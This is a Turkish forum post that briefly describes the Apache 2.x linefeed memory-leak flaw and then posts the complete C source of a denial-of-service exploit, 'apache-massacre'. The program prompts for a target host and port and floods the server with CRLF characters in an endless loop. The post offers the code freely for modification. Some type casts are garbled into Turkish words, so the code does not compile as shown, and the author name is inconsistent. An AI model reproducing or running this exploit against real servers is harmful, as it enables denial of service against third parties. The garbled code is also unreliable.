Apache Linefeed Olayı Nedir Abicim....
-
evett ilk konu ve ilk harekat valla uzun zaman oldu yazmılyalı, Yani bir siteye. neyse bu konular eskide kaldı. Ve ilk konu apache linefeed: linefeed olay nedir abicim bu linefeed bir karakter derleyici apache sunucularında bu karakterleri kullanarak gönderilen mesajlar vasıtasıyla veri taşırmak, mına koymak, olay bundan ibaret. birde ben bunu klişe kelimeler kullanarak anlatim.
HTTP sunucusunun peşpeşe gelen çok sayıda linefeed karakterlerini düzgün işleyememesinden kaynaklanıyor. Web sunucusu her linefeed karakteri için bir üst sınır belirlemeden 8-byte"lık arabellek (buffer) ayırıyor. Bunun sonucunda uzaktaki bir kullanıcı bu karakterleri içeren pek çok istek yaratarak sistem kaynaklarını tüketebiliyor.
ahada size patron yazısı... bu yazı sitili sistem mühendirlerinin yazı sitili :)))
Kaynak securityforce, tlsecurity
Kolay Gelsin
-----------------------------------------
/* apache-massacre.c
* Test code for Apache 2.x Memory Leak
* By by ByberX
* lütfen evinizde denemeyiniz :pp
* Ha bu arada kimse açıklama istemesin azmıyom
* kendi kendine yapıver işte zeten gerek yok
* baksana cin gibisin...
*/
#ifndef _WIN32
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <fcntl.h>
#else
#include <windows.h>
#pragma comment(lib, "wsock32.lib")
#endif
#include <stdlib.h>
#include <stdio.h>
int sig_fired = 0;
#ifndef _WIN32
void sig_handler(int sig) {
#else
BOOL WINAPI sig_handler(DWORD dwCtrlType) {
#endif
sig_fired = 1;
#ifndef _WIN32
return;
#else
return TRUE;
#endif
}
int main(int argc, char *argv[]) {
SOCKET s;
struct sockaddr_in sin;
char buffer[1024];
struct hostent *he;
unsigned short iPort = 80;
int newlines = 100;
char *p;
char *p2;
int i;
#ifdef _WIN32
WSADATA wsa_prov;
#endif
printf("Apache morg vbir.0\r\n");
printf("Exploit by CyberX\r\n");
#ifdef _WIN32
if (WSAStartup(0x0101, &wsa_prov)) {
perror("WSAStartup");
exit(1);
}
#endif
printf("Web sunucusunun adını Yazınız host/IP: ");
fgets(&buffer[0], 1024, stdin);
he = gethostbyname(&buffer[0]);
if (!he) {
perror("gethostbyname");
exit(1);
}
sin.sin_addr.s_addr = *((Kayıtlı Degil *)he->h_addr);
printf("Web sunucusunun portunu Yazınız.. port: ");
fgets(&buffer[0], 1024, stdin);
iPort = (Yanlış Nokta)atoi(&buffer[0]);
#ifndef _WIN32
#ifdef _SOLARIS
sigset(SIGINT, &sig_handler);
#else
signal(SIGINT, &sig_handler);
#endif
#else
SetConsoleCtrlHandler(&sig_handler, TRUE);
#endif
printf("Evet Oluyor... [100]: ");
fgets(&buffer[0], 1024, stdin);
if (!buffer[0] == 0x0D && !buffer[0] == 0x0A) {
newlines = atoi(&buffer[0]);
}
p = malloc(newlines*2);
p2 = p;
for (i = 0; i < newlines; i++) {
*p2 = 0x0D;
p2++;
*p2 = 0x0A;
p2++;
}
newlines += newlines;
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s < 0) {
perror("socket");
exit(1);
}
sin.sin_family = AF_INET;
sin.sin_port = htons(iPort);
if (connect(s, (const struct sockaddr *)&sin, sizeof(struct sockaddr_in))) {
perror("connect");
exit(1);
}
while (1) {
if (!send(s, (char *)p, newlines, 0) == newlines) {
perror("send");
exit(1);
}
if (sig_fired) {
printf("Terminating on SIGINT");
free(p);
#ifndef _WIN32
close(s);
#else
closesocket(s);
WSACleanup();
#endif
exit(0);
}
}
}
---------------------------------------
Bu Code ler tamamiyle halka açıktır istediğiniz gibi değiştire bilirsiniz valla...
Toplam Hit: 1990 Toplam Mesaj: 1
